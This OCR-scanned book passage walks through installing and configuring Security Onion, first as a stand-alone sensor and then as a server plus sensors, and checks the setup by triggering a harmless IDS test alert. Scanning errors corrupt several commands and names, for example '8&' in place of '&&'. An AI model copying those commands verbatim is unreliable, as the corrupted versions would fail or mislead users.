case of geographically separate networks. CIRTs could choose to deploy a 
stand-alone SO system at geographically disparate locations, but the result 
would be that no single set of consoles or databases would provide the ana- 
lyst with a unified view. By using the server-plus-sensors option, the CIRT 
can enjoy access to multiple networks from a single location. 

Let's return to our simple network diagram. This time, we assign three 
dedicated sensors, one for location G, one for B, and one for H, and coordi- 
nate their work using a central server, as shown in Figure 3-4. 
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Figure 3-4: The SO server collects data from sensors watching network locations G, B, 
and H. 


In the server-plus-sensors mode, the sensors do not need to reside 
within the local network; they can be deployed globally as long as they can 
connect back to the central server via the network. Some organizations 
enable this with a VPN, while others deploy the management interfaces for 
each system (server and sensors) on public networks to make them univer- 
sally reachable. Ask your network and security administrators to determine 
the choice that best meets their requirements. 


Choosing How to Get SO Code onto Hardware 


After deciding on the SO model, you can choose how to install SO code 
onto hardware. As of this writing, SO supports two ways to get SO code 
onto hardware: 


e The easiest method is to download an .iso file suitable for burn- 
ing to DVD or flashing to a 2GB or larger capacity USB thumb 
drive. If you prefer a USB-based installation, try a program 
like the Universal USB Installer (http://www.pendrivelinux.com/ 
universal-usb-installer-easy-as-1-2-3/). 

e The other method uses the Ubuntu Personal Package Archives (PPA) 
for the SO project. Using these PPAs, administrators can install SO 
on Ubuntu Linux (hitp://www.ubuntu.com/) and its derivatives, such as 
Xubuntu (Attp://xubuntu.com/). 


The SO sois built on a 64-bit version of Xubuntu 12.04, derived from 
the Ubuntu 12.04 Long Term Support (LTS) release, called Precise Pangolin. 
The Ubuntu project will support 12.04 until April 2017, making it suitable 
for sensor and hardware platforms like SO. 


If yowre a Windows administrator, using SO is a good way to gain exposure to Linux. 
The SO project makes installing and using Linux very easy. In fact, making life 
simple for Windows administrators was one of its design goals. 


The examples that follow demonstrate how to install both SO con- 
figurations. I recommend trying the stand-alone installation in a virtual 
machine such as VMware Workstation, but other virtualization software 
should work. You can also try SO on spare hardware, but remember the 
functional specifications recommended in Chapter 2. Available RAM is 
probably the most important. With less than 4GB of RAM, a stand-alone 
SO installation watching no more than a single monitored interface will 
be slower than some might like. 

From this point forward, I assume you have downloaded the SO .iso file 
and are ready to install it. You checked its MD5 hash against the value pub- 
lished at the download location to validate the integrity of the file. If you plan 
to deploy SO on physical hardware, you burned it to a DVD or flashed it to a 
USB drive. If you plan to try it on a VM, you have the .iso file on the system 
running the virtualization software. In either case, the hardware (physical 
or virtual) has at least two NICs (one for management and one for captur- 
ing traffic), at least 4GB RAM, and at least a 40GB hard drive. Let's begin! 


Installing a Stand-alone System 


The general process for installing any type of SO system involves these steps: 


l. Select a monitoring location. 


2. Select hardware. 
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Boot the hardware with installation media. 
Deploy the installation media on the hardware. 


Configure networking. 


ome 


Install and configure the appropriate SO settings. 


We will follow this basic procedure in each of the examples. The steps 
will vary according to the function of the hardware, the installation media 
you chose, and the role of the SO software on the NSM platform. 


Installing SO to a Hard Drive 


To begin installing SO as a stand-alone system, boot the SO .isofile. You 
will see a boot menu with the default option to start SO as a live system, as 
shown in Figure 3-5. This means that the SO system will be running like a 
“live CD,” allowing you to try SO as a stand-alone system without needing to 
do any work whatsoever. 
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Figure 3-5: SO boot screen 


If you press ENTER to select the first option, or wait seven seconds, SO 
will boot to a graphical user interface (GUI), as shown in Figure 3-6, and the 
system will try to obtain an IP address via the Dynamic Host Configuration 
Protocol (DHCP). At this point, I suggest proceeding to installation. 

To begin installation, choose the Install Secu... icon, which points to 
the Install Security Onion option that will install Xubuntu Linux on the 
server. At the first screen, choose your preferred language. I select English 
and click Continue. The next screen asks me to verify that I have enough 
free hard drive space to continue, and that the system is connected to the 
Internet, as shown in Figure 3-7. I can also choose the Download updates 
while installing or Install this third-party software option. I recommend 
selecting both options. If your system is not connected to the Internet, do 
not choose either option. 
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Figure 3-6: SO screen after boot 


Preparing to install SecurityOnion 
For best results, please ensure that this computer: 


f has at least 6.8 GB available drive space 


«fj is connected to the Internet 


Ivf Download updates while installing 


SecurityOnion uses third-party software to display Flash, MP3 and other media, and to work with 
some wireless hardware. Some ofthis software is closed-source. The software is subject to the 
license terms included with the software's documentation. 


& instal this third-party software 
Fluendo MP3 plugin includes MPEG Layer-3 audio decoding technology licensed from Fraunhofer IIS and 
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Figure 3-7: Validating space, connectivity, updates, and third-party software 
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The next screen warns that installing SO will *delete any files on the 
disk." This is acceptable, so I select Erase disk and install SecurityOnion, 
as shown in Figure 3-8. 


Installation type 


This computer currently has no detected operating systems. What would you like to do? 


Erase disk and install SecurityOnion 
Warning: This will delete any files on the disk. 


Something else 


You can create or resize partitions yourself, or choose 
multiple partitions for SecurityOnion. 


Gaui Back Continue 


Figure 3-8: Choosing to erase the disk to install SO 


Now it’s time to choose the drive where you will install SO. This varies 
from system to system. In my example, I have just one drive, so I accept 
the default and choose Continue. The next screen begins the installation 
process and asks for my location via a “Where are you?” question and map. 
Select any location at this point; once it’s installed, SO will set Universal 
Coordinated Time (UTC) as the time zone for the platform and override 
this choice. Choosing a keyboard layout comes next. Just select the best 
option for your system. 

Next, you select a username, computer name, and password, as shown 
in Figure 3-9. You can also choose to encrypt your home folder, but I don’t 
bother, because SO’s most important data is saved in the /nsm and /var 
directories, which means that encrypting /home/<username> won't make 
much difference. Don’t select Log In Automatically, or the system will be 
open to anyone after boot, without the need for a username and password. 

Now the system should continue to install software to the hard drive. If 
you’re connected to the Internet, and you selected the appropriate option, it 
should also download updates and packages. When finished, the process will 
report “Installation Complete. Click Restart Now to reboot the computer.” 

Once the system reboots, it will show a login prompt, as in Figure 3-10. 
Enter the username and password you selected earlier. 


Who are you? 





— 
Your name: |sademo 





Your computer's name: |sademo | Vf 


The name it uses when it talks to other computers. 


Pick a username: |sademo WV 
Choose a password: |eeeeeeeee Good password 


Confirm your password: |eeeeeeeee qf 


© Log in automatically 





(9 Require my password to log in 
{_] Encrypt my home folder 





Back Continue 





Figure 3-9: Answering “Who are you?” 


© 


sademo 


login: |sademo 


Xubuntu Session v v Cancel Login 





Figure 3-10: Login screen after reboot 


After logging in, you should see a screen just like the GUI presented 
after the live system booted, except now you have Xubuntu installed on 
your hard drive. You should update Xubuntu and applications before pro- 
ceeding to the SO setup. 
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If you're not familiar with Linux, it’s important to understand that you can interact 
with the system via a GUI or by entering commands in a terminal application. A 
terminal is a way to instruct the operating system to execute commands and applica- 
lions. Frequently, we will prepend the sudo command in order to elevate our privi- 
leges. Using sudo is the preferred way to act as the all-powerful “root” user on Linux 
distributions like Ubuntu or Xubuntu. When prompted for a password, enter the 
password with which you logged in. You don't enter a root password. 


Let's update this Linux installation by running the following commands 
at a terminal: 





$ sudo apt-get update && sudo apt-get dist-upgrade 





Type your password when prompted and press ENTER. 

Xubuntu will proceed to update. It will ask you if you want to install 
and update software, with something like “After this operation, XXXX MB of 
additional disk space will be used. Do you want to continue [Y/n]?" like this: 





-- snip -- 

116 upgraded, 4 newly installed, O to remove and O not upgraded. 
Need to get 56.8 MB/287 MB of archives. 

After this operation, 203 MB of additional disk space will be used. 
Do you want to continue [Y/n]? 


Type Y and press ENTER to approve and continue. Xubuntu should pro- 
ceed to update itself and its installed applications. You will most likely be 
asked to reboot the system when the installation is complete. Use the com- 
mand sudo reboot to accomplish that task. 


Configuring SO Software 


The operating system and applications are up-to-date, so now we begin con- 
figuring the SO software itself. After rebooting, log in to the desktop and 
click the Setup icon to begin that process. 

Enter the password you used to log in, and you will see a screen wel- 
coming you to Security Onion Setup, as shown in Figure 3-11. Choose Yes, 
Continue!. 


Security Onion Setup (sovm) 





Figure 3-11: Starting Security Onion setup 


WHAT IS THE DIFFERENCE BETWEEN 
UPGRADE AND DIST-UPGRADE? 


When updating SO, you use the Advanced Package Tool (APT) to choose 
which software to upgrade. APT is the preferred way to install, remove, and 


update applications on Linux systems derived from the Debian distribution, such 
as Ubuntu or Xubuntu. If you run an upgrade, you will get one set of options. 
Choosing a dist-upgrade will produce another set of options. 

The following example shows running upgrade on a live SO platform. Note 
that once you've entered a password when prompted by sudo, you won't need 
to enter it again for a while. Linux keeps a timer that counts time elapsed since 
privilege escalation, making it easier for administrators to do their work. 





$ sudo apt-get upgrade 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
The following packages have been kept back: 
linux-generic linux-headers-generic linux-image-generic 
The following packages will be upgraded: 
firefox firefox-globalmenu firefox-gnome-support firefox-locale-en 
libpurple-bin libpurpleo libruby1.9.1 libssl-dev libssl-doc 
libss11.0.0 linux-libc-dev openssl pidgin pidgin-data 
ruby1.9.1 transmission-common transmission-gtk 
17 upgraded, O newly installed, 0 to remove and 3 not upgraded. 
Need to get 38.0 MB of archives. 
After this operation, 198 kB of additional disk space will be used. 
Do you want to continue [Y/n]? 





Now see the difference when we run dist-upgrade: 





$ sudo apt-get dist-upgrade 

Reading package lists... Done 

Building dependency tree 

Reading state information... Done 

Calculating upgrade... Done 

The following NEW packages will be installed: 

inux-headers-3.2.0-38 linux-headers-3.2.0-38-generic 

inux-image-3.2.0-38-generic 

The following packages will be upgraded: 

firefox firefox-globalmenu firefox-gnome-support firefox-locale-en 

ibpurple-bin libpurpleo libruby1.9.1 libssl-dev libssl-doc 

ibssl1.0.0 linux-generic linux-headers-generic linux-image-generic 

inux-libc-dev openssl pidgin pidgin-data ruby1.9.1 transmission-common 
transmission-gtk 

20 upgraded, 3 newly installed, 0 to remove and O not upgraded. 

Need to get 89.2 MB of archives. 

After this operation, 217 MB of additional disk space will be used. 








(continued) 
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In the first example, updates to the kernel were going to be "kept back." 


APT was not going to install those parts of the operating system unless explic- 
itly told to do so. In the second example, apt will update the kernel as well as 
userland packages. This is the primary difference of note to SO users. The SO 
project recommends running dist-upgrade when updating SO platforms. 





Now to configure network interfaces. This is an important step because 
the SO team has performed various tests to determine the optimum settings 
for collecting and interpreting network traffic, including disabling NIC 
offload features that can confuse some NSM software. Select Yes, configure 
/etc/network/interfaces! to continue, as shown in Figure 3-12. 


Security Onion Setup (sademo) 
Would you like to configure /etc/network/interfaces now? 


This is HIGHLY recommended as it will automatically optimize your network interfaces. 
This includes disabling any NIC offload features which may interfere with traffic analysis. 
For more information, please see: 
http://securityonion.blogspot.com/2011/10/when-is-full-packet-capture-not-full.html 


If you choose NO, you should manually configure your management and monitored interfaces 
per the instructions on the Security Onion Wiki located at: 
http://code.google.com/p/security-onion/wiki/NetworkConfiguration 


Quo. not right now. ‘ Y Yes, configure /etc/network/interfaces! 


4 





Figure 3-12: Choosing to configure network interfaces 


Choosing the Management Interface 


On the next screen, choose the network interface for the management 
interface. Select the NIC that you plan to access remotely, which is tradition- 
ally the first NIC in your system. I plan to administer my demo stand-alone 
system using etho and to sniff traffic with eth1, so I select eth0 and click OK, 
as shown in Figure 3-13. (Your selected interface will be highlighted in blue 
when selected, as shown below.) 


M Security Onion Setup (sademo) + x 


Which network interface should be the management interface? 


eth1 





Figure 3-13: Selecting the management interface 


Now decide if you want the management interface to receive an IP 
address via DHCP or whether to assign it a static IP address. You can choose 
either for testing purposes (DHCP is probably simpler), but in a produc- 
tion system, you should assign a static IP address unless you have a static 
mapping configured in DHCP. I choose to assign a static IP for the man- 
agement interface, a netmask, a gateway, a DNS server, and a local domain 
name according to the specifics of my test network (not shown here). 

SO will then ask us to configure a monitor interface, recommending 
YES for a “Standalone or Sensor installation" or NO for a “Server-only 
installation." Click Yes, configure monitor interfaces. 

Next select the interface for SO to use to collect and interpret traffic, 
as shown in Figure 3-14. SO can sniff more than one interface, but I rec- 
ommend one SO system per monitored interface for beginners. 


Security Onion Setup (sademo) + x 


Please select any additional interfaces that will be used for sniffing. 
eth1 











Figure 3-14: Selecting the sniffing interfaces 


Network setup is almost complete. SO will summarize your settings, and 
then ask whether to make the changes, as shown in Figure 3-15. Select Yes, 
configure /etc/network/interfaces! to continue, as shown in Figure 3-12. If 
you're happy with the settings, click Yes, make changes and reboot!. 


Y Security Onion Setup (sademo) 


We're about to do the following: 
- - Backup existing network configuration to /etc/network/interfaces.bak 
- Configure the management interface ethO as follows: 
Set static IP address of 192.168.2.127 
Set the gateway IP address to 192.168.2.1 
Set the network mask to 255.255.255.0 
Set the DNS server(s) to 172.16.2.1 
Set the DNS domain to taosecurity.com 
- Configure the following interface(s) for sniffing: 
eth1 
-REBOOT 


After rebooting, you'll need to run Setup again to complete the Setup process. 


We're about to make changes to your system! 


Would you like to continue? 


Qno. do not make changes! af Yes, make changes and reboot! 


Figure 3-15: Ready to make network changes 
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Installing the NSM Software Components 


When the system reboots, you should be back at the login screen. Enter 
your credentials, and we'll install the various NSM software components 
for a stand-alone system. Chapter 4 shows how to install a distributed setup, 
with a server plus sensors. 

To begin, click the Setup icon, enter your password, and choose Yes, 
Continue! at the Welcome to Security Onion Setup! screen. Next, choose 
Yes, skip network configuration!, as shown in Figure 3-16. 


v Security Onion Setup (sademo) 


t» It looks like /etc/network/interfaces has already been configured by this script. 


Would you like to skip network configuration? 





Quo. I need to re-configure /etc/network/interfaces. / Yes, skip network configuration! 





Figure 3-16: Skipping network configuration 


To simplify setup for this first example, choose the Quick Setup option, 
as shown in Figure 3-17. This will have the server running SO as a stand- 
alone system with minimum configuration. 


Y Security Onion Setup (sovm) 
Would you like to use Quick Setup or Advanced Setup? 


Quick Setup is recommended for first-time users or standalone VMs: 
- ideal for quickly evaluating Security Onion 

- will automatically configure most details of your system 

- configures Snort and Bro to monitor one network interface 


Advanced Setup is recommended for production deployments: 

- gives you more control over the details of your system 

- allows you to build a distributed sensor network 

-you choose Sguil server, Sguil sensor, or both 

-you choose which IDS engine to use (Snort or Suricata) 

- you choose which IDS ruleset(s) to use (Emerging Threats, Snort VRT, or both) 

-you choose which network interfaces should be monitored by the IDS Engine and Bro 
-you choose how many processes to run for Snort/Suricata/Bro 

-you choose which sensor processes to enable/disable 


(& Quick Setup 





©) Advanced Setup 








Figure 3-17: Choosing Quick Setup 


You will need to tell SO the interface for some of its components to 
monitor. As shown in Figure 3-18, I tell SO that I want Snort to sniff traffic 
on eth1. (As part of Quick Setup, SO chooses to use the Snort network IDS 
to generate alert data.) 

Now provide a username for accessing the NSM software component 
Sguil (covered in Chapter 8), as shown in Figure 3-19. SO will use this 
username for several other NSM tools. 


Y Security Onion Setup (sademo) + x 
X Security Onion Setup (sademo) 


Which network interface should snort listen on? 


rr What would you like your Sguil username to be? 
et 





This will be used when logging into Sguil, Squert, and ELSA. 


Please use alphanumeric characters only. 





|sademo| | 


cance 


á 











Figure 3-18: Telling SO where Snort Figure 3-19: Entering a Sguil username 
should sniff 


At the next screen, enter an email address for SO to use for logging 
into the Snorby NSM console and authenticating users. (SO will not use 
this email address to send spam to you! In fact, the SO project does not 
track users in any way.) Snorby (also covered in Chapter 8) is a tool for pre- 
senting NSM data to analysts, and it uses a separate authentication mecha- 
nism based on email addresses. 

Now you'll choose an alphanumeric password for use in authenticat- 
ing to NSM software installed with SO, as shown in Figure 3-20. (You can 
change this password later through the Sguil and Snorby interfaces.) 


Z Security Onion Setup (sademo) 

What would you like to set your password to? 

Password must be at least 6 characters. Please use alphanumeric characters only! 
This password will be used for Sguil, Squert, Snorby, and ELSA. 


Once you've logged into these interfaces using this initial password, you can change it in Sguil and Snorby. 





DD 








Figure 3-20: Entering a password for SO NSM applications 


After you create credentials for SO NSM applications, the configu- 
ration script asks if you want to install the Enterprise Log Search and 
Archive (ELSA) software, as shown in Figure 3-21. Choose Yes, enable 
ELSA! unless you are working with very constrained hardware. ELSA 
provides a search engine interface to NSM log data. 


Security Onion Setup (sademo) + x 


ELSA (Enterprise Log Search and Archive) is a centralized syslog framework 
built on Syslog-NG, MySQL, and Sphinx full-text search. 


It provides a nice web-based interface to hunt through your logs. 


Would you like to enable ELSA? 
Qno. disable ELSA. 


Figure 3-21: Choosing to enable ELSA 
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SO should now summarize the changes it is about to make. If you like 
the results, select Yes, proceed with the changes!, as shown in Figure 3-22. 


Security Onion Setup (sademo) 


We're about to do the following: 

-Set the OS timezone to UTC. 

- Delete any existing NSM data/configuration. 

- Create a Sguil server named securityonion. 

- Create a Sguil user named sademo. 

- Create a Snorby user named taosecurity& gmail.com. 
- Configure Snort and Bro to monitor the following interface: 
eth1 

- Run a single IDS process per interface. 

- Run a single Bro process per interface. 

- Configure ELSA as both a Log Node and Web Node. 


We're about to make changes to your system! 


Would you like to continue? 


| No, do not make changes! } sf Yes. proceed with the changes! 


4 











Figure 3-22: SO is ready to proceed with changes. 


Next, SO configures the system's time zone to use UTC, and then sets 
up all the NSM applications packaged with it. When finished, it should 
report some helpful information about your system. You can check the sta- 
tus of the setup in the /var/log/nsm/sosetup.log file, as shown in Figure 3-23. 

Finally, you'll see information on IDS rule management, as shown in 
Figure 3-24. 


Security Onion Setup (sademo) 


Rules downloaded by Pulledpork are stored in: 
/etc/nsm/rules/downloaded.rules 


Local rules can be added to: 
/etc/nsm/rules/local.rules 
Security Onion Setup (sademo) 
You can have PulledPork modify the downloaded rules 





Security Onion Setup is now complete! by modifying the files in: 
/etc/nsm/pulledpork/ 

Setup log can be found here: 

/var/log/nsm/sosetup.log Rules will be updated every day at 7:01 AM UTC. 
You can manually update them by running: 

You may view IDS alerts using Sguil, Squert, Snorby, or ELSA (if enabled). /usr/bin/rule-update 

Bro logs can be found in ELSA (if enabled) and the following location: Sensors can be tuned by modifying the files in: 

/nsm/bro/ /etc/nsm/NAME-OF-SENSOR/ 

| «o | 
Figure 3-23: SO setup is now complete. Figure 3-24: Notes concerning IDS rule 
management 


Checking Your Installation 


Once you've finished installing your stand-alone system, you should take 
some steps to make sure that it's functioning as expected. 
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First, open a terminal and run the following command to see if all the 
NSM agents are live. Remember that you run a terminal by executing the 
Terminal application on the desktop. 





$ sudo service nsm status 
[sudo] password for sademo: 
Status: securityonion 


* sguil server [ OK ] 
Status: HIDS 

* ossec agent (sguil) [ OK ] 
Status: Bro 
Name Type Host Status Pid Peers Started 
bro standalone localhost running 5813 0 10 Feb 11:10:32 


Status: sademo-eth1 


* netsniff-ng (full packet data) [ OK ] 
* pcap agent (sguil) [ OK ] 
* snort agent-1 (sguil) [ OK ] 
* snort-1 (alert data) [ OK ] 
* barnyard2-1 (spooler, unified2 format) [ OK ] 
* prads (sessions/assets) [ OK ] 
* sancp agent (sguil) [ OK ] 
* pads agent (sguil) [ OK ] 
* argus [ OK ] 
* http agent (sguil) [ OK ] 





Now, in the same window, run the following command to generate 
activity that will trigger a Snort alert. Pm assuming that your sensor can see 
traffic to and from the stand-alone system's management port. If not, run 
this command from a system monitored by the new sensor, or visit the URL 
with a web browser on a system monitored by the new sensor. 





$ curl www.testmyids.com 
uid=0(root) gid=0(root) groups=0(root) 


To determine if at least part of your NSM setup is working, visit the 
Snorby NSM application using a web browser. Point your web browser to 
the IP address of your stand-alone sensor that you assigned earlier. You will 
receive an error saying the certificate for HTTPS is not trusted because 
it is not signed, as shown in Figure 3-25. Unless you suspect that an inter- 
nal user is conducting a man-in-the-middle attack against you, it is safe to 
choose Proceed Anyway or the equivalent. (If you later choose to deploy a 
certificate trusted by the browser, you will not see these warnings.) 

You will now see the SO welcome page, as shown in Figure 3-26, with 
links to SO applications accessible via the web servers running on the SO 
system. Click the link for Snorby to determine if it captured data triggered 
by visiting hitp://www.testmyids.com/. 
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The site's security certificate is 
not trusted! 


You attempted to reach 192.168.2.127, but the server 
presented a certificate issued by an entity that is not trusted by 
your computer's operating system. This may mean that the 
server has generated its own security credentials, which Google 
Chrome cannot rely on for identity information, or an attacker 
may be trying to intercept your communications. 


You should not proceed, especially if you have never seen this 
warning before for this site. 


Proceed anyw , Back to safety | 


> Help me understand 








Figure 3-25: Certificate warning 


v Ya A mil | vw Ta d 





Figure 3-26: SO welcome page 


Clicking the Snorby link should open a new tab or window to your SO 
IP address and port 444. Snorby should ask for the email address and pass- 
word you chose during setup, as shown in Figure 3-27. Enter them and click 
Welcome, Sign In. 
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SWOr y E 


About Swplicitu" 


Please log in to continue... 


Email 


taosecurity@gmail.com 


Password 


Welcome, Sign In Forgot Password? 4| Remember me 





Figure 3-27: Snorby login screen 


Depending on where you deployed your sensor and the amount of 
traffic active on the network, you will see different amounts of infor- 
mation on the initial dashboard. We're interested in seeing two specific 
alerts at the right side of the screen: either ET Policy curl User-Agent or GPL 
ATTACK RESPONSE id ch. If you see either or both (as shown in Figure 3-28), 


your sensor is seeing traffic and at least one NSM application (in this case, 


Snort) observed and reported it correctly. 


Administration 














Dashboard 3H More Options 

LAST24 TODAY YESTERDAY THIS WEEK THIS MONTH THIS QUARTER THIS YEAR TOP 5 SENSOR 

sademo-eth1:1 

3 2 0 TOP 5 ACTIVE USERS 
Bl Administrator 
HGH SEVERITY MEDIUM SEVERITY LOW SEVERITY 
| | LAST 5 UNIQUE EVENTS 

ae | ee || RR RR RE ET POLICY Drop 
ET POLICY iTunes User Agent 1 
Sensors ET POLICY curl 1 
Event Count vs Time By Sensor -9- sademo-eth1:1 GPL ATTACK. RESPONSE id ch 1 


ANALYST CLASSIFIED EVENTS. 


Unauthorized Roo! 





Unautho 





Event Count 








1 
11213 14 15 16 17 18 19 20 21 2223 0 | 2 3 4 5 6 7 8 9 1011 





Figure 3-28: Snorby dashboard confirms stand-alone sensor operation. 
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Conclusion 


Chapter 3 


In this chapter, we created a stand-alone SO platform. We booted the SO 
.iso file and installed the Xubuntu Linux distribution to a hard drive. Next, 
we updated the operating system and began the process of installing the 
SO software. We began by configuring the network interfaces, choosing 
one for system management and the other for data collection or sniffing. 
With the network interfaces prepared, we turned to configuring a variety 
of SO tools via a helpful wizard process. Once all the software was installed 
and configured, we viewed the Snorby console to ensure it could see at least 
some data derived from the network. 

In Chapter 4, we'll advance from the world of the stand-alone platform 
into one where distributed systems rule. Stand-alone platforms work well 
for isolated deployments, but some of the power of the NSM model is appar- 
ent only when analysts can interact with data from multiple vantage points. 
Stand-alone platforms can sometimes watch more than one network seg- 
ment if those segments are physically nearby. When monitored segments 
are geographically dispersed, a distributed deployment works best to unify 
collection and presentation of NSM data. Chapter 4 will show how to make 
that a reality. 





DISTRIBUTED DEPLOYMENT 


Chapter 3 discussed NSM platforms built 
on the open source SO project, focusing on 
how to install SO as a stand-alone platform. 
Single-system solutions are a great starting point 
for newcomers to the NSM world, but most organi- 


zations have more than one network to manage and 
monitor. Based on what you learned in Chapters 2 and 3, you may recognize 
locations in your environment where you need multiple sensors cooperat- 
ing to provide multisite visibility. Thankfully, as described in the previous 
chapter, SO supports distributed deployment models (server-plus-sensor 
platforms) to accommodate these requirements. 

In addition to covering distributed SO deployments, this chapter also 
explains how to use SO Personal Package Archives (PPA) to build SO plat- 
forms without using the SO .iso image. Installing SO using the project's offi- 
cial .zso file is probably the easiest way to get started, but some organizations 
prefer to begin with their own version of Ubuntu Linux. The SO project's 
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PPAs allow administrators to install SO packages on Ubuntu Linux-derived 
systems. You can install your own version of Ubuntu Linux, add SO PPAs, 
and then enjoy full SO functionality. 

We'll begin by building a distributed SO setup. 


Installing an SO Server Using the SO .iso Image 


Chapter 4 


If you followed the instructions in Chapter 3, you now have a stand-alone 
SO platform collecting and interpreting network traffic. More challenging 
situations require a server-plus-sensors deployment. 

As explained in Chapter 3, in a server-plus-sensors configuration, one 
or more sensors collect NSM data, and a server acts as the central “brain” 
for the operation, as well as an aggregation and storage point for certain 
types of NSM data. This section describes how to install an SO server. After 
setting up the server, we'll install a sensor that will cooperate with the server 
to collect and present NSM data. 


$0 Server Considerations 


When considering an SO server, remember that the server will be the cen- 
tral collection and storage point for certain types of NSM data. Keep the 
following in mind: 


e An SO server operates a central MySQL database to which all SO sensors 
transmit session data. The aggregate session data is a key factor when 
considering RAM and hard drive requirements for the SO server. 


e An SO sensor stores network traffic as pcap files. The SO sensor stores 
this data locally until it's copied to the SO server. This locally stored 
data is a key factor when considering hard drive requirements for the 
SO sensor. 


You also need to understand what data resides where and know how 
many sensors will likely contribute data to the server. You will need the 
following: 


e Alot of hard drive space in a RAID configuration that you'll use to 
store session and associated NSM data 


e Atleast 4GB of RAM, with more RAM available to satisfy MySOLS needs 
e Amulticore CPU 


e Atleast one network interface for management purposes 


Because the server is not connected to network taps or SPAN ports, you 
can think of it more as a traditional server system. Clients, like SO sensors 
or CIRT analysts, will connect to the SO server to access data. The number 
of clients accessing the server and the amount of centralized data you want 
available to them are the primary factors to consider when designing an SO 
server. 


Some CIRTs choose to separate functions on their central servers. For example, they 
run separate database systems that cooperate with the central server. SO does not 
support this sort of configuration out-of-the-box. Therefore, we leave that sort of 
configuration out of this discussion. The configuration described here works well in 
production for many CIRTS. 


Building Your SO Server 


To build your server, boot the SO .iso image, choose Live, and wait until you 
see the SO desktop. Begin the installation process by clicking the Install 
Security Onion 12.04 icon. Follow the configuration process explained in 
“Installing SO to a Hard Drive” on page 62. In summary, you will perform 
the following steps, as in the previous chapter: 


Validate space, connectivity, updates, and third-party software. 
Choose to erase the disk to install SO. 
Choose a username, computer name, and password. 


Complete installation and reboot the system. 


SX. eco RO 


Update installed software using sudo apt-get update 8& sudo apt-get 
dist-upgrade. 


After completing this process, the SO software should be installed on 
the server, but nothing is configured for NSM duties. This is the point at 
which we turn the system into a live SO server. 

The first task is to manually assign a static IP address to the system. To 
do so, follow these steps: 


l. Click the blue-and-white mouse icon at the upper-left side of the screen, 
select Settings, and then choose Network Connections, as shown in 
Figure 4-1. 


“ 


Security Onion 


|< Settings Eq Settings Manager 


E Accessories ef Additional Drivers 

pl) Games ? Bluetooth Manager 

% Graphics E Input Method Switcher 
Internet E Keyboard Input Methods 

@ Mail Reader *' Language Support 

T. Multimedia E’ Main Menu 


W Office = Network Connectic 
LA 


Other >» a" Onboard Settings 
2 System 2 Settings Editor 
Web Browser 


4 


= Ubuntu Software Center 


? Help 
About Xfce 
Log Out 





Figure 4-1: Selecting to view settings for Network Connections 
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Highlight Wired connection 1, and then click Edit. Click the IPv4 
Settings tab, and then change the Method to Manual. Enter values 
appropriate for your server by clicking Add and then entering the 
information required, as shown in Figure 4-2. (These values represent 
choices appropriate for my sample network; be sure to use values that 
match your environment.) 


Y Editing Wired connection 1 





Connection name: [Wired connection 1 





(Y Connect automatically 


Method: Manual X 


Addresses 


Address ; Padd 
192.168.2.120 24 IRI PANE —. — — 
| Pelete 








DNS servers: [172.16.2.1 


Search domains: |taosecurity.com| 


DHCP client ID: | 








[C] Require IPv4 addressing for this connection to complete 








| Routes... 


L 
I Available to all users cancel | | §pssave... 


Figure 4-2: Configuring Wired connection 1 with 
static IP addressing 











When you're finished, click Save. The dialog will turn gray while the 
system reconfigures networking. 


Click Close to complete the process. 


Reboot the system. 


At this point, the server is running the correct operating system, with 


updated components, and is reachable via a static management IP address. 


Configuring Your SO Server 


Now we can begin configuring the system as an SO server. To do so, follow 
these steps: 


l. 


Click the Setup icon and enter your password to perform administra- 
tive tasks. Select Yes, Continue! when prompted. 


When asked if you want to configure interfaces, choose No, not right now. 


When prompted, choose Advanced Setup. 


4. 


5. 


10. 
11. 


The next screen asks what sort of system you want to build. Select Server, 
as shown in Figure 4-3, and then click OK. 


security Onion setup (sovm) 





Figure 4-3: Choosing to build a server 


Now choose a Sguil username as shown in Figure 4-4. 


Security Onion 





Figure 4-4: Choosing a Sguil username 


When asked for an email address for logging into Snorby, enter an 
appropriate email address. 


When asked for a password to use with Sguil, Squert, Snorby, and 
ELSA, enter a password and then confirm it. 


The setup wizard then asks you to choose either Snort or Suricata as 
the IDS Engine. Select the option you want to use and click OK. 


The next option involves selecting an IDS ruleset, with the same 
options as seen in Chapter 3. For demo purposes, we select Emerging 
Threats GPL and click OK. 


When asked to enable ELSA, choose Yes, enable ELSA!. 


The setup wizard summarizes your choices and asks if you're ready to 
proceed, as shown in Figure 4-5. 
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Security Onion Setup (svrdemiso) 


We're about to do the following: 

-Set the OS timezone to UTC. 

- Delete any existing NSM data/configuration. 

- Create a Sguil server named securityonion. 

- Create a Sguil user named svrdemiso. 

- Create a Snorby user named taosecurity& gmail.com. 
- Run a single IDS process per interface. 

- Run a single Bro process per interface. 

- Download Emerging Threats GPL ruleset. 

- Configure ELSA as both a Log Node and Web Node. 


We're about to make changes to your system! 


Would you like to continue? 


Qno. do not make changes! / Yes, proceed with the changes! 


4 





Figure 4-5: Setup summary before proceeding with SO server changes 


12. Click Yes, proceed with the changes!, and the setup wizard will com- 
plete the SO server installation. The script should report that the setup 
is complete. 


13. To confirm that installation succeeded, visit the web page hosted on the 
server, and then access a web-enabled NSM application, such as Snorby. 


At this point, you have only an SO server active. It is not running any 
tools that collect and interpret NSM data. The Snorby console will be empty 
until you build an SO sensor, as described next. 


Installing an SO Sensor Using the SO .iso Image 
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Our SO server won't do us much good without one or more sensors to col- 

lect and interpret NSM data. In this section, we’ll build an SO sensor using 
the SO .iso file. For hardware, choose the same sort of equipment you used 
in the stand-alone scenario. 

To build your sensor, boot the .iso image, choose Live, and wait until 
you see the SO desktop. Begin the installation process by clicking the 
Install Security Onion 12.04 icon, and then follow the configuration pro- 
cess explained in "Installing SO to a Hard Drive" on page 60. 

In summary, you will perform the following steps: 


Validate space, connectivity, updates, and third-party software. 
Choose to erase the disk to install SO. 
Choose a username, computer name, and password. 


Complete installation and reboot the system. 


gta ope we p 


Update installed software using sudo apt-get update && sudo apt-get 
dist-upgrade. 


After completing this process, the SO software should be installed on 


the sensor, but nothing is configured for NSM duties. In the next section, 
we will choose a static IP address within the SO setup wizard, since that is 
part of a larger network configuration process required for SO sensors. We 
are ready to turn the system into a live SO sensor, and tell it to cooperate 
with the SO server we just created. 


Configuring the SO Sensor 


To configure the system as an SO sensor, follow these steps: 


1. 


Click the Setup icon and enter your password to perform administra- 
tive tasks. Select Yes, Continue! when prompted. 


When prompted, select eth0 for the management interface (or whatever 
interface you choose for management), configure a static IP address, 
and choose ethl for sniffing (or whatever interface (s) you want to use 
to collect and interpret traffic). 


Accept your selections by choosing Yes, make changes and reboot!. 


